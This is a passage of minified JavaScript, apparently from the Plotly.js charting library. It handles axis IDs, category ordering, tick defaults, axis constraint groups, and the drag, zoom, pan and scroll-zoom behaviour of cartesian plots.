d==="1"&&(d=""),S.charAt(0)+"axis"+d}},Z.name2id=function(S){if(S.match(P.AX_NAME_PATTERN)){var d=S.substr(5);return d==="1"&&(d=""),S.charAt(0)+d}},Z.cleanId=function(S,d,g){var t=/( domain)$/.test(S);if(!(typeof S!="string"||!S.match(P.AX_ID_PATTERN))&&!(d&&S.charAt(0)!==d)&&!(t&&!g)){var r=S.split(" ")[0].substr(1).replace(/^0+/,"");return r==="1"&&(r=""),S.charAt(0)+r+(t&&g?" domain":"")}},Z.list=function(L,S,d){var g=L._fullLayout;if(!g)return[];var t=Z.listIds(L,S),r=new Array(t.length),f;for(f=0;f<t.length;f++){var a=t[f];r[f]=g[a.charAt(0)+"axis"+a.substr(1)]}if(!d){var l=g._subplots.gl3d||[];for(f=0;f<l.length;f++){var u=g[l[f]];S?r.push(u[S+"axis"]):r.push(u.xaxis,u.yaxis,u.zaxis)}}return r},Z.listIds=function(L,S){var d=L._fullLayout;if(!d)return[];var g=d._subplots;return S?g[S+"axis"]:g.xaxis.concat(g.yaxis)},Z.getFromId=function(L,S,d){var g=L._fullLayout;return S=S===void 0||typeof S!="string"?S:S.replace(" domain",""),d==="x"?S=S.replace(/y[0-9]*/,""):d==="y"&&(S=S.replace(/x[0-9]*/,"")),g[Z.id2name(S)]},Z.getFromTrace=function(L,S,d){var g=L._fullLayout,t=null;if(M.traceIs(S,"gl3d")){var r=S.scene;r.substr(0,5)==="scene"&&(t=g[r][d+"axis"])}else t=Z.getFromId(L,S[d+"axis"]||d);return t},Z.idSort=function(L,S){var d=L.charAt(0),g=S.charAt(0);return d!==g?d>g?1:-1:+(L.substr(1)||1)-+(S.substr(1)||1)},Z.ref2id=function(L){return/^[xyz]/.test(L)?L.split(" ")[0]:!1};function o(L,S){if(S&&S.length){for(var d=0;d<S.length;d++)if(S[d][L])return!0}return!1}Z.isLinked=function(L,S){return o(S,L._axisMatchGroups)||o(S,L._axisConstraintGroups)}},15258:function(te){function Z(e,M){var P=M.dataAttr||e._id.charAt(0),o={},L,S,d;if(M.axData)L=M.axData;else for(L=[],S=0;S<M.data.length;S++){var g=M.data[S];g[P+"axis"]===e._id&&L.push(g)}for(S=0;S<L.length;S++){var t=L[S][P];for(d=0;d<t.length;d++){var r=t[d];r!=null&&(o[r]=1)}}return Object.keys(o)}te.exports=function(M,P,o,L){if(P.type==="category"){var S=M.categoryarray,d=Array.isArray(S)&&S.length>0,g;d&&(g="array");var t=o("categoryorder",g),r;t==="array"&&(r=o("categoryarray")),!d&&t==="array"&&(t=P.categoryorder="trace"),t==="trace"?P._initialCategories=[]:t==="array"?P._initialCategories=r.slice():(r=Z(P,L).sort(),t==="category ascending"?P._initialCategories=r:t==="category descending"&&(P._initialCategories=r.reverse()))}}},66287:function(te,Z,e){var M=e(92770),P=e(71828),o=e(50606),L=o.ONEDAY,S=o.ONEWEEK;Z.dtick=function(d,g){var t=g==="log",r=g==="date",f=g==="category",a=r?L:1;if(!d)return a;if(M(d))return d=Number(d),d<=0?a:f?Math.max(1,Math.round(d)):r?Math.max(.1,d):d;if(typeof d!="string"||!(r||t))return a;var l=d.charAt(0),u=d.substr(1);return u=M(u)?Number(u):0,u<=0||!(r&&l==="M"&&u===Math.round(u)||t&&l==="L"||t&&l==="D"&&(u===1||u===2))?a:d},Z.tick0=function(d,g,t,r){if(g==="date")return P.cleanDate(d,P.dateTick0(t,r%S===0?1:0));if(!(r==="D1"||r==="D2"))return M(d)?Number(d):0}},85555:function(te,Z,e){var M=e(30587).counter;te.exports={idRegex:{x:M("x","( domain)?"),y:M("y","( domain)?")},attrRegex:M("[xy]axis"),xAxisMatch:M("xaxis"),yAxisMatch:M("yaxis"),AX_ID_PATTERN:/^[xyz][0-9]*( domain)?$/,AX_NAME_PATTERN:/^[xyz]axis[0-9]*$/,SUBPLOT_PATTERN:/^x([0-9]*)y([0-9]*)$/,HOUR_PATTERN:"hour",WEEKDAY_PATTERN:"day of week",MINDRAG:8,MINZOOM:20,DRAGGERSIZE:20,REDRAWDELAY:50,DFLTRANGEX:[-1,6],DFLTRANGEY:[-1,4],traceLayerClasses:["imagelayer","heatmaplayer","contourcarpetlayer","contourlayer","funnellayer","waterfalllayer","barlayer","carpetlayer","violinlayer","boxlayer","ohlclayer","scattercarpetlayer","scatterlayer"],clipOnAxisFalseQuery:[".scatterlayer",".barlayer",".funnellayer",".waterfalllayer"],layerValue2layerClass:{"above traces":"above","below traces":"below"}}},99082:function(te,Z,e){var M=e(71828),P=e(71739),o=e(41675).id2name,L=e(13838),S=e(42449),d=e(21994),g=e(50606).ALMOST_EQUAL,t=e(18783).FROM_BL;Z.handleDefaults=function(c,b,h){var i=h.axIds,v=h.axHasImage,T=b._axisConstraintGroups=[],w=b._axisMatchGroups=[],E,p,A,m,n,C,x,I;for(E=0;E<i.length;E++)m=o(i[E]),n=c[m],C=b[m],r(n,C,{axIds:i,layoutOut:b,hasImage:v[m]});function k(q,ne){for(E=0;E<q.length;E++){p=q[E];for(A in p)b[o(A)][ne]=p}}for(k(w,"_matchGroup"),E=0;E<T.length;E++){p=T[E];for(A in p)if(C=b[o(A)],C.fixedrange){for(var B in p){var _=o(B);(c[_]||{}).fixedrange===!1&&M.warn("fixedrange was specified as false for axis "+_+" but was overridden because another axis in its constraint group has fixedrange true"),b[_].fixedrange=!0}break}}for(E=0;E<T.length;){p=T[E];for(A in p){C=b[o(A)],C._matchGroup&&Object.keys(C._matchGroup).length===Object.keys(p).length&&(T.splice(E,1),E--);break}E++}k(T,"_constraintGroup");var F=["constrain","range","autorange","rangemode","rangebreaks","categoryorder","categoryarray"],O=!1,z=!1;function N(){I=C[x],x==="rangebreaks"&&(z=C._hasDayOfWeekBreaks)}for(E=0;E<w.length;E++){p=w[E];for(var G=0;G<F.length;G++){x=F[G],I=null;var J;for(A in p)if(m=o(A),n=c[m],C=b[m],x in C){if(!C.matches&&(J=C,x in n)){N();break}I===null&&x in n&&N()}if(x==="range"&&I&&(O=!0),x==="autorange"&&I===null&&O&&(I=!1),I===null&&x in J&&(I=J[x]),I!==null)for(A in p)C=b[o(A)],C[x]=x==="range"?I.slice():I,x==="rangebreaks"&&(C._hasDayOfWeekBreaks=z,d(C,b))}}};function r(c,b,h){var i=h.axIds,v=h.layoutOut,T=h.hasImage,w=v._axisConstraintGroups,E=v._axisMatchGroups,p=b._id,A=p.charAt(0),m=((v._splomAxes||{})[A]||{})[p]||{},n=b._id,C=n.charAt(0)==="x";b._matchGroup=null,b._constraintGroup=null;function x(W,V){return M.coerce(c,b,L,W,V)}x("constrain",T?"domain":"range"),M.coerce(c,b,{constraintoward:{valType:"enumerated",values:C?["left","center","right"]:["bottom","middle","top"],dflt:C?"center":"middle"}},"constraintoward");var I=b.type,k,B,_=[];for(k=0;k<i.length;k++)if(B=i[k],B!==n){var F=v[o(B)];F.type===I&&_.push(B)}var O=a(w,n);if(O){var z=[];for(k=0;k<_.length;k++)B=_[k],O[B]||z.push(B);_=z}var N=_.length,G,J;N&&(c.matches||m.matches)&&(G=M.coerce(c,b,{matches:{valType:"enumerated",values:_,dflt:_.indexOf(m.matches)!==-1?m.matches:void 0}},"matches"));var q=T&&!C?b.anchor:void 0;if(N&&!G&&(c.scaleanchor||q)&&(J=M.coerce(c,b,{scaleanchor:{valType:"enumerated",values:_}},"scaleanchor",q)),G){b._matchGroup=l(E,n,G,1);var ne=v[o(G)],fe=f(v,b)/f(v,ne);C!==(G.charAt(0)==="x")&&(fe=(C?"x":"y")+fe),l(w,n,G,fe)}else c.matches&&i.indexOf(c.matches)!==-1&&M.warn("ignored "+b._name+'.matches: "'+c.matches+'" to avoid an infinite loop');if(J){var X=x("scaleratio");X||(X=b.scaleratio=1),l(w,n,J,X)}else c.scaleanchor&&i.indexOf(c.scaleanchor)!==-1&&M.warn("ignored "+b._name+'.scaleanchor: "'+c.scaleanchor+'" to avoid either an infinite loop and possibly inconsistent scaleratios, or because this axis declares a *matches* constraint.')}function f(c,b){var h=b.domain;return h||(h=c[o(b.overlaying)].domain),h[1]-h[0]}function a(c,b){for(var h=0;h<c.length;h++)if(c[h][b])return c[h];return null}function l(c,b,h,i){var v,T,w,E,p,A=a(c,b);A===null?(A={},A[b]=1,p=c.length,c.push(A)):p=c.indexOf(A);var m=Object.keys(A);for(v=0;v<c.length;v++)if(w=c[v],v!==p&&w[h]){var n=w[h];for(T=0;T<m.length;T++)E=m[T],w[E]=u(n,u(i,A[E]));c.splice(p,1);return}if(i!==1)for(T=0;T<m.length;T++){var C=m[T];A[C]=u(i,A[C])}A[h]=1}function u(c,b){var h="",i="",v,T;typeof c=="string"&&(h=c.match(/^[xy]*/)[0],v=h.length,c=+c.substr(v)),typeof b=="string"&&(i=b.match(/^[xy]*/)[0],T=i.length,b=+b.substr(T));var w=c*b;return!v&&!T?w:!v||!T||h.charAt(0)===i.charAt(0)?h+i+c*b:v===T?w:(v>T?h.substr(T):i.substr(v))+w}function s(c,b){for(var h=b._size,i=h.h/h.w,v={},T=Object.keys(c),w=0;w<T.length;w++){var E=T[w],p=c[E];if(typeof p=="string"){var A=p.match(/^[xy]*/)[0],m=A.length;p=+p.substr(m);for(var n=A.charAt(0)==="y"?i:1/i,C=0;C<m;C++)p*=n}v[E]=p}return v}Z.enforce=function(b){var h=b._fullLayout,i=h._axisConstraintGroups||[],v,T,w,E,p,A,m,n;for(v=0;v<i.length;v++){w=s(i[v],h);var C=Object.keys(w),x=1/0,I=0,k=1/0,B={},_={},F=!1;for(T=0;T<C.length;T++)E=C[T],_[E]=p=h[o(E)],p._inputDomain?p.domain=p._inputDomain.slice():p._inputDomain=p.domain.slice(),p._inputRange||(p._inputRange=p.range.slice()),p.setScale(),B[E]=A=Math.abs(p._m)/w[E],x=Math.min(x,A),(p.constrain==="domain"||!p._constraintShrinkable)&&(k=Math.min(k,A)),delete p._constraintShrinkable,I=Math.max(I,A),p.constrain==="domain"&&(F=!0);if(!(x>g*I&&!F)){for(T=0;T<C.length;T++)if(E=C[T],A=B[E],p=_[E],m=p.constrain,A!==k||m==="domain")if(n=A/k,m==="range")S(p,n);else{var O=p._inputDomain,z=(p.domain[1]-p.domain[0])/(O[1]-O[0]),N=(p.r2l(p.range[1])-p.r2l(p.range[0]))/(p.r2l(p._inputRange[1])-p.r2l(p._inputRange[0]));if(n/=z,n*N<1){p.domain=p._input.domain=O.slice(),S(p,n);continue}if(N<1&&(p.range=p._input.range=p._inputRange.slice(),n*=N),p.autorange){var G=p.r2l(p.range[0]),J=p.r2l(p.range[1]),q=(G+J)/2,ne=q,fe=q,X=Math.abs(J-q),W=q-X*n*1.0001,V=q+X*n*1.0001,Y=P.makePadFn(h,p,0),Q=P.makePadFn(h,p,1);y(p,n);var ie=Math.abs(p._m),j=P.concatExtremes(b,p),K=j.min,oe=j.max,re,le;for(le=0;le<K.length;le++)re=K[le].val-Y(K[le])/ie,re>W&&re<ne&&(ne=re);for(le=0;le<oe.length;le++)re=oe[le].val+Q(oe[le])/ie,re<V&&re>fe&&(fe=re);var pe=(fe-ne)/(2*X);n/=pe,ne=p.l2r(ne),fe=p.l2r(fe),p.range=p._input.range=G<J?[ne,fe]:[fe,ne]}y(p,n)}}}},Z.getAxisGroup=function(b,h){for(var i=b._axisMatchGroups,v=0;v<i.length;v++){var T=i[v];if(T[h])return"g"+v}return h},Z.clean=function(b,h){if(h._inputDomain){for(var i=!1,v=h._id,T=b._fullLayout._axisConstraintGroups,w=0;w<T.length;w++)if(T[w][v]){i=!0;break}(!i||h.constrain!=="domain")&&(h._input.domain=h.domain=h._inputDomain,delete h._inputDomain)}};function y(c,b){var h=c._inputDomain,i=t[c.constraintoward],v=h[0]+(h[1]-h[0])*i;c.domain=c._input.domain=[v+(h[0]-v)/b,v+(h[1]-v)/b],c.setScale()}},29323:function(te,Z,e){var M=e(39898),P=e(71828),o=P.numberFormat,L=e(84267),S=e(38520),d=e(73972),g=P.strTranslate,t=e(63893),r=e(7901),f=e(91424),a=e(30211),l=e(89298),u=e(6964),s=e(28569),y=e(64505),c=y.selectingOrDrawing,b=y.freeMode,h=e(18783).FROM_TL,i=e(33306),v=e(61549).redrawReglTraces,T=e(74875),w=e(41675).getFromId,E=e(47322).prepSelect,p=e(47322).clearOutline,A=e(47322).selectOnClick,m=e(42449),n=e(85555),C=n.MINDRAG,x=n.MINZOOM,I=!0;function k(re,le,pe,we,xe,ke,_e,be){var ge=re._fullLayout._zoomlayer,Te=_e+be==="nsew",Fe=(_e+be).length===1,Oe,Ce,Be,$e,Xe,Ze,Ke,st,lt,ut,yt,bt,Ot,Ge,Le,Pe,De,Ee,ye,ae,de,Me,Ie;pe+=le.yaxis._shift;function Qe(){if(Oe=le.xaxis,Ce=le.yaxis,lt=Oe._length,ut=Ce._length,Ke=Oe._offset,st=Ce._offset,Be={},Be[Oe._id]=Oe,$e={},$e[Ce._id]=Ce,_e&&be)for(var Jt=le.overlays,It=0;It<Jt.length;It++){var or=Jt[It].xaxis;Be[or._id]=or;var ur=Jt[It].yaxis;$e[ur._id]=ur}Xe=oe(Be),Ze=oe($e),Ot=F(Xe,be),Ge=F(Ze,_e),Le=!Ge&&!Ot,bt=j(re,re._fullLayout._axisMatchGroups,Be,$e),yt=j(re,re._fullLayout._axisConstraintGroups,Be,$e,bt);var fr=yt.isSubplotConstrained||bt.isSubplotConstrained;Pe=be||fr,De=_e||fr;var lr=re._fullLayout;Ee=lr._has("scattergl"),ye=lr._has("splom"),ae=lr._has("svg")}Qe();var et=J(Ge+Ot,re._fullLayout.dragmode,Te),pt=_(le,_e+be+"drag",et,pe,we,xe,ke);if(Le&&!Te)return pt.onmousedown=null,pt.style.pointerEvents="none",pt;var St={element:pt,gd:re,plotinfo:le};St.prepFn=function(Jt,It,or){var ur=St.dragmode,fr=re._fullLayout.dragmode;fr!==ur&&(St.dragmode=fr),Qe(),Me=re._fullLayout._invScaleX,Ie=re._fullLayout._invScaleY,Le||(Te?Jt.shiftKey?fr==="pan"?fr="zoom":c(fr)||(fr="pan"):Jt.ctrlKey&&(fr="pan"):fr="pan"),b(fr)?St.minDrag=1:St.minDrag=void 0,c(fr)?(St.xaxes=Xe,St.yaxes=Ze,E(Jt,It,or,St,fr)):(St.clickFn=Ft,c(ur)&&_t(),Le||(fr==="zoom"?(St.moveFn=vt,St.doneFn=wt,St.minDrag=1,rt(Jt,It,or)):fr==="pan"&&(St.moveFn=$t,St.doneFn=Et))),re._fullLayout._redrag=function(){var lr=re._dragdata;if(lr&&lr.element===pt){var Nr=re._fullLayout.dragmode;c(Nr)||(Qe(),Lt([0,0,lt,ut]),St.moveFn(lr.dx,lr.dy))}}};function _t(){St.plotinfo.selection=!1,p(re)}function Ft(Jt,It){var or=St.gd;if(or._fullLayout._activeShapeIndex>=0){or._fullLayout._deactivateShape(or);return}var ur=or._fullLayout.clickmode;if(W(or),Jt===2&&!Fe&&Ne(),Te)ur.indexOf("select")>-1&&A(It,or,Xe,Ze,le.id,St),ur.indexOf("event")>-1&&a.click(or,It,le.id);else if(Jt===1&&Fe){var fr=_e?Ce:Oe,lr=_e==="s"||be==="w"?0:1,Nr=fr._name+".range["+lr+"]",Rr=O(fr,lr),Cr="left",vn="middle";if(fr.fixedrange)return;_e?(vn=_e==="n"?"top":"bottom",fr.side==="right"&&(Cr="right")):be==="e"&&(Cr="right"),or._context.showAxisRangeEntryBoxes&&M.select(pt).call(t.makeEditable,{gd:or,immediate:!0,background:or._fullLayout.paper_bgcolor,text:String(Rr),fill:fr.tickfont?fr.tickfont.color:"#444",horizontalAlign:Cr,verticalAlign:vn}).on("edit",function(Ur){var Mn=fr.d2r(Ur);Mn!==void 0&&d.call("_guiRelayout",or,Nr,Mn)})}}s.init(St);var Tt,Gt,er,Pr,ct,Vt,Ut,dr,sr,nt;function rt(Jt,It,or){var ur=pt.getBoundingClientRect();Tt=It-ur.left,Gt=or-ur.top,re._fullLayout._calcInverseTransform(re);var fr=P.apply3DTransform(re._fullLayout._invTransform)(Tt,Gt);Tt=fr[0],Gt=fr[1],er={l:Tt,r:Tt,w:0,t:Gt,b:Gt,h:0},Pr=re._hmpixcount?re._hmlumcount/re._hmpixcount:L(re._fullLayout.plot_bgcolor).getLuminance(),ct="M0,0H"+lt+"V"+ut+"H0V0",Vt=!1,Ut="xy",nt=!1,dr=q(ge,Pr,Ke,st,ct),sr=ne(ge,Ke,st)}function vt(Jt,It){if(re._transitioningWithDuration)return!1;var or=Math.max(0,Math.min(lt,Me*Jt+Tt)),ur=Math.max(0,Math.min(ut,Ie*It+Gt)),fr=Math.abs(or-Tt),lr=Math.abs(ur-Gt);er.l=Math.min(Tt,or),er.r=Math.max(Tt,or),er.t=Math.min(Gt,ur),er.b=Math.max(Gt,ur);function Nr(){Ut="",er.r=er.l,er.t=er.b,sr.attr("d","M0,0Z")}if(yt.isSubplotConstrained)fr>x||lr>x?(Ut="xy",fr/lt>lr/ut?(lr=fr*ut/lt,Gt>ur?er.t=Gt-lr:er.b=Gt+lr):(fr=lr*lt/ut,Tt>or?er.l=Tt-fr:er.r=Tt+fr),sr.attr("d",ie(er))):Nr();else if(bt.isSubplotConstrained)if(fr>x||lr>x){Ut="xy";var Rr=Math.min(er.l/lt,(ut-er.b)/ut),Cr=Math.max(er.r/lt,(ut-er.t)/ut);er.l=Rr*lt,er.r=Cr*lt,er.b=(1-Rr)*ut,er.t=(1-Cr)*ut,sr.attr("d",ie(er))}else Nr();else!Ge||lr<Math.min(Math.max(fr*.6,C),x)?fr<C||!Ot?Nr():(er.t=0,er.b=ut,Ut="x",sr.attr("d",Y(er,Gt))):!Ot||fr<Math.min(lr*.6,x)?(er.l=0,er.r=lt,Ut="y",sr.attr("d",Q(er,Tt))):(Ut="xy",sr.attr("d",ie(er)));er.w=er.r-er.l,er.h=er.b-er.t,Ut&&(nt=!0),re._dragged=nt,fe(dr,sr,er,ct,Vt,Pr),gt(),re.emit("plotly_relayouting",de),Vt=!0}function gt(){de={},(Ut==="xy"||Ut==="x")&&(z(Xe,er.l/lt,er.r/lt,de,yt.xaxes),yr("x",de)),(Ut==="xy"||Ut==="y")&&(z(Ze,(ut-er.b)/ut,(ut-er.t)/ut,de,yt.yaxes),yr("y",de))}function wt(){gt(),W(re),Et(),V(re)}var mt=[0,0,lt,ut],Pt=null,zt=n.REDRAWDELAY,Xt=le.mainplot?re._fullLayout._plots[le.mainplot]:le;function Yt(Jt){if(!re._context._scrollZoom.cartesian&&!re._fullLayout._enablescrollzoom)return;if(_t(),re._transitioningWithDuration){Jt.preventDefault(),Jt.stopPropagation();return}Qe(),clearTimeout(Pt);var It=-Jt.deltaY;if(isFinite(It)||(It=Jt.wheelDelta/10),!isFinite(It)){P.log("Did not find wheel motion attributes: ",Jt);return}var or=Math.exp(-Math.min(Math.max(It,-20),20)/200),ur=Xt.draglayer.select(".nsewdrag").node().getBoundingClientRect(),fr=(Jt.clientX-ur.left)/ur.width,lr=(ur.bottom-Jt.clientY)/ur.height,Nr;function Rr(Cr,vn,Ur){if(Cr.fixedrange)return;var Mn=P.simpleMap(Cr.range,Cr.r2l),Sn=Mn[0]+(Mn[1]-Mn[0])*vn;function nr(Sr){return Cr.l2r(Sn+(Sr-Sn)*Ur)}Cr.range=Mn.map(nr)}if(Pe){for(be||(fr=.5),Nr=0;Nr<Xe.length;Nr++)Rr(Xe[Nr],fr,or);yr("x"),mt[2]*=or,mt[0]+=mt[2]*fr*(1/or-1)}if(De){for(_e||(lr=.5),Nr=0;Nr<Ze.length;Nr++)Rr(Ze[Nr],lr,or);yr("y"),mt[3]*=or,mt[1]+=mt[3]*(1-lr)*(1/or-1)}Lt(mt),Ue(),re.emit("plotly_relayouting",de),Pt=setTimeout(function(){re._fullLayout&&(mt=[0,0,lt,ut],Et())},zt),Jt.preventDefault()}_e.length*be.length!==1&&K(pt,Yt);function $t(Jt,It){if(Jt=Jt*Me,It=It*Ie,re._transitioningWithDuration)return;if(re._fullLayout._replotting=!0,Ot==="ew"||Ge==="ns"){var or=Ot?-Jt:0,ur=Ge?-It:0;if(bt.isSubplotConstrained){if(Ot&&Ge){var fr=(Jt/lt-It/ut)/2;Jt=fr*lt,It=-fr*ut,or=-Jt,ur=-It}Ge?or=-ur*lt/ut:ur=-or*ut/lt}Ot&&(N(Xe,Jt),yr("x")),Ge&&(N(Ze,It),yr("y")),Lt([or,ur,lt,ut]),Ue(),re.emit("plotly_relayouting",de);return}function lr(nr,Sr,Dr){for(var Ir=1-Sr,Xr,an,tn=0;tn<nr.length;tn++){var gn=nr[tn];if(!gn.fixedrange){Xr=gn,an=gn._rl[Ir]+(gn._rl[Sr]-gn._rl[Ir])/G(Dr/gn._length);var En=gn.l2r(an);En!==!1&&En!==void 0&&(gn.range[Sr]=En)}}return Xr._length*(Xr._rl[Sr]-an)/(Xr._rl[Sr]-Xr._rl[Ir])}var Nr=Ot==="w"==(Ge==="n")?1:-1;if(Ot&&Ge&&(yt.isSubplotConstrained||bt.isSubplotConstrained)){var Rr=(Jt/lt+Nr*It/ut)/2;Jt=Rr*lt,It=Nr*Rr*ut}var Cr,vn;if(Ot==="w"?Jt=lr(Xe,0,Jt):Ot==="e"?Jt=lr(Xe,1,-Jt):Ot||(Jt=0),Ge==="n"?It=lr(Ze,1,It):Ge==="s"?It=lr(Ze,0,-It):Ge||(It=0),Cr=Ot==="w"?Jt:0,vn=Ge==="n"?It:0,yt.isSubplotConstrained&&!bt.isSubplotConstrained||bt.isSubplotConstrained&&Ot&&Ge&&Nr>0){var Ur;if(bt.isSubplotConstrained||!Ot&&Ge.length===1){for(Ur=0;Ur<Xe.length;Ur++)Xe[Ur].range=Xe[Ur]._r.slice(),m(Xe[Ur],1-It/ut);Jt=It*lt/ut,Cr=Jt/2}if(bt.isSubplotConstrained||!Ge&&Ot.length===1){for(Ur=0;Ur<Ze.length;Ur++)Ze[Ur].range=Ze[Ur]._r.slice(),m(Ze[Ur],1-Jt/lt);It=Jt*ut/lt,vn=It/2}}(!bt.isSubplotConstrained||!Ge)&&yr("x"),(!bt.isSubplotConstrained||!Ot)&&yr("y");var Mn=lt-Jt,Sn=ut-It;bt.isSubplotConstrained&&!(Ot&&Ge)&&(Ot?(vn=Cr?0:Jt*ut/lt,Sn=Mn*ut/lt):(Cr=vn?0:It*lt/ut,Mn=Sn*lt/ut)),Lt([Cr,vn,Mn,Sn]),Ue(),re.emit("plotly_relayouting",de)}function yr(Jt,It){for(var or=bt.isSubplotConstrained?{x:Ze,y:Xe}[Jt]:bt[Jt+"axes"],ur=bt.isSubplotConstrained?{x:Xe,y:Ze}[Jt]:[],fr=0;fr<or.length;fr++){var lr=or[fr],Nr=lr._id,Rr=bt.xLinks[Nr]||bt.yLinks[Nr],Cr=ur[0]||Be[Rr]||$e[Rr];Cr&&(It?(It[lr._name+".range[0]"]=It[Cr._name+".range[0]"],It[lr._name+".range[1]"]=It[Cr._name+".range[1]"]):lr.range=Cr.range.slice())}}function Ue(){var Jt=[],It;function or(Nr){for(It=0;It<Nr.length;It++)Nr[It].fixedrange||Jt.push(Nr[It]._id)}function ur(Nr,Rr){for(It=0;It<Nr.length;It++){var Cr=Nr[It],vn=Cr[Rr];!Cr.fixedrange&&vn.tickmode==="sync"&&Jt.push(vn._id)}}for(Pe&&(or(Xe),or(yt.xaxes),or(bt.xaxes),ur(le.overlays,"xaxis")),De&&(or(Ze),or(yt.yaxes),or(bt.yaxes),ur(le.overlays,"yaxis")),de={},It=0;It<Jt.length;It++){var fr=Jt[It],lr=w(re,fr);l.drawOne(re,lr,{skipTitle:!0}),de[lr._name+".range[0]"]=lr.range[0],de[lr._name+".range[1]"]=lr.range[1]}l.redrawComponents(re,Jt)}function Ne(){if(!re._transitioningWithDuration){var Jt=re._context.doubleClick,It=[];Ot&&(It=It.concat(Xe)),Ge&&(It=It.concat(Ze)),bt.xaxes&&(It=It.concat(bt.xaxes)),bt.yaxes&&(It=It.concat(bt.yaxes));var or={},ur,fr,lr;if(Jt==="reset+autosize"){for(Jt="autosize",fr=0;fr<It.length;fr++)if(ur=It[fr],ur._rangeInitial&&(ur.range[0]!==ur._rangeInitial[0]||ur.range[1]!==ur._rangeInitial[1])||!ur._rangeInitial&&!ur.autorange){Jt="reset";break}}if(Jt==="autosize")for(fr=0;fr<It.length;fr++)ur=It[fr],ur.fixedrange||(or[ur._name+".autorange"]=!0);else if(Jt==="reset")for((Ot||yt.isSubplotConstrained)&&(It=It.concat(yt.xaxes)),Ge&&!yt.isSubplotConstrained&&(It=It.concat(yt.yaxes)),yt.isSubplotConstrained&&(Ot?Ge||(It=It.concat(Ze)):It=It.concat(Xe)),fr=0;fr<It.length;fr++)ur=It[fr],ur.fixedrange||(ur._rangeInitial?(lr=ur._rangeInitial,or[ur._name+".range[0]"]=lr[0],or[ur._name+".range[1]"]=lr[1]):or[ur._name+".autorange"]=!0);re.emit("plotly_doubleclick",null),d.call("_guiRelayout",re,or)}}function Et(){Lt([0,0,lt,ut]),P.syncOrAsync([T.previousPromises,function(){re._fullLayout._replotting=!1,d.call("_guiRelayout",re,de)}],re)}function Lt(Jt){var It=re._fullLayout,or=It._plots,ur=It._subplots.cartesian,fr,lr,Nr,Rr;if(ye&&d.subplotsRegistry.splom.drag(re),Ee){for(fr=0;fr<ur.length;fr++)if(lr=or[ur[fr]],Nr=lr.xaxis,Rr=lr.yaxis,lr._scene){var Cr=P.simpleMap(Nr.range,Nr.r2l),vn=P.simpleMap(Rr.range,Rr.r2l);lr._scene.update({range:[Cr[0],vn[0],Cr[1],vn[1]]})}}if((ye||Ee)&&(i(re),v(re)),ae){var Ur=Jt[2]/Oe._length,Mn=Jt[3]/Ce._length;for(fr=0;fr<ur.length;fr++){lr=or[ur[fr]],Nr=lr.xaxis,Rr=lr.yaxis;var Sn=(Pe||bt.isSubplotConstrained)&&!Nr.fixedrange&&Be[Nr._id],nr=(De||bt.isSubplotConstrained)&&!Rr.fixedrange&&$e[Rr._id],Sr,Dr,Ir,Xr;if(Sn?(Sr=Ur,Ir=be||bt.isSubplotConstrained?Jt[0]:tr(Nr,Sr)):bt.xaHash[Nr._id]?(Sr=Ur,Ir=Jt[0]*Nr._length/Oe._length):bt.yaHash[Nr._id]?(Sr=Mn,Ir=Ge==="ns"?-Jt[1]*Nr._length/Ce._length:tr(Nr,Sr,{n:"top",s:"bottom"}[Ge])):(Sr=Nt(Nr,Ur,Mn),Ir=rr(Nr,Sr)),nr?(Dr=Mn,Xr=_e||bt.isSubplotConstrained?Jt[1]:tr(Rr,Dr)):bt.yaHash[Rr._id]?(Dr=Mn,Xr=Jt[1]*Rr._length/Ce._length):bt.xaHash[Rr._id]?(Dr=Ur,Xr=Ot==="ew"?-Jt[0]*Rr._length/Oe._length:tr(Rr,Dr,{e:"right",w:"left"}[Ot])):(Dr=Nt(Rr,Ur,Mn),Xr=rr(Rr,Dr)),!(!Sr&&!Dr)){Sr||(Sr=1),Dr||(Dr=1);var an=Nr._offset-Ir/Sr,tn=Rr._offset-Xr/Dr;lr.clipRect.call(f.setTranslate,Ir,Xr).call(f.setScale,Sr,Dr),lr.plot.call(f.setTranslate,an,tn).call(f.setScale,1/Sr,1/Dr),(Sr!==lr.xScaleFactor||Dr!==lr.yScaleFactor)&&(f.setPointGroupScale(lr.zoomScalePts,Sr,Dr),f.setTextPointsScale(lr.zoomScaleTxt,Sr,Dr)),f.hideOutsideRangePoints(lr.clipOnAxisFalseTraces,lr),lr.xScaleFactor=Sr,lr.yScaleFactor=Dr}}}}function Nt(Jt,It,or){return Jt.fixedrange?0:Pe&&yt.xaHash[Jt._id]?It:De&&(yt.isSubplotConstrained?yt.xaHash:yt.yaHash)[Jt._id]?or:0}function rr(Jt,It){return It?(Jt.range=Jt._r.slice(),m(Jt,It),tr(Jt,It)):0}function tr(Jt,It,or){return Jt._length*(1-It)*h[or||Jt.constraintoward||"middle"]}return pt}function B(re,le,pe,we){var xe=P.ensureSingle(re.draglayer,le,pe,function(ke){ke.classed("drag",!0).style({fill:"transparent","stroke-width":0}).attr("data-subplot",re.id)});return xe.call(u,we),xe.node()}function _(re,le,pe,we,xe,ke,_e){var be=B(re,"rect",le,pe);return M.select(be).call(f.setRect,we,xe,ke,_e),be}function F(re,le){for(var pe=0;pe<re.length;pe++)if(!re[pe].fixedrange)return le;return""}function O(re,le){var pe=re.range[le],we=Math.abs(pe-re.range[1-le]),xe;return re.type==="date"?pe:re.type==="log"?(xe=Math.ceil(Math.max(0,-Math.log(we)/Math.LN10))+3,o("."+xe+"g")(Math.pow(10,pe))):(xe=Math.floor(Math.log(Math.abs(pe))/Math.LN10)-Math.floor(Math.log(we)/Math.LN10)+4,o("."+String(xe)+"g")(pe))}function z(re,le,pe,we,xe){for(var ke=0;ke<re.length;ke++){var _e=re[ke];if(!_e.fixedrange)if(_e.rangebreaks){var be=_e._id.charAt(0)==="y",ge=be?1-le:le,Te=be?1-pe:pe;we[_e._name+".range[0]"]=_e.l2r(_e.p2l(ge*_e._length)),we[_e._name+".range[1]"]=_e.l2r(_e.p2l(Te*_e._length))}else{var Fe=_e._rl[0],Oe=_e._rl[1]-Fe;we[_e._name+".range[0]"]=_e.l2r(Fe+Oe*le),we[_e._name+".range[1]"]=_e.l2r(Fe+Oe*pe)}}if(xe&&xe.length){var Ce=(le+(1-pe))/2;z(xe,Ce,1-Ce,we,[])}}function N(re,le){for(var pe=0;pe<re.length;pe++){var we=re[pe];if(!we.fixedrange)if(we.rangebreaks){var xe=0,ke=we._length,_e=we.p2l(xe+le)-we.p2l(xe),be=we.p2l(ke+le)-we.p2l(ke),ge=(_e+be)/2;we.range=[we.l2r(we._rl[0]-ge),we.l2r(we._rl[1]-ge)]}else 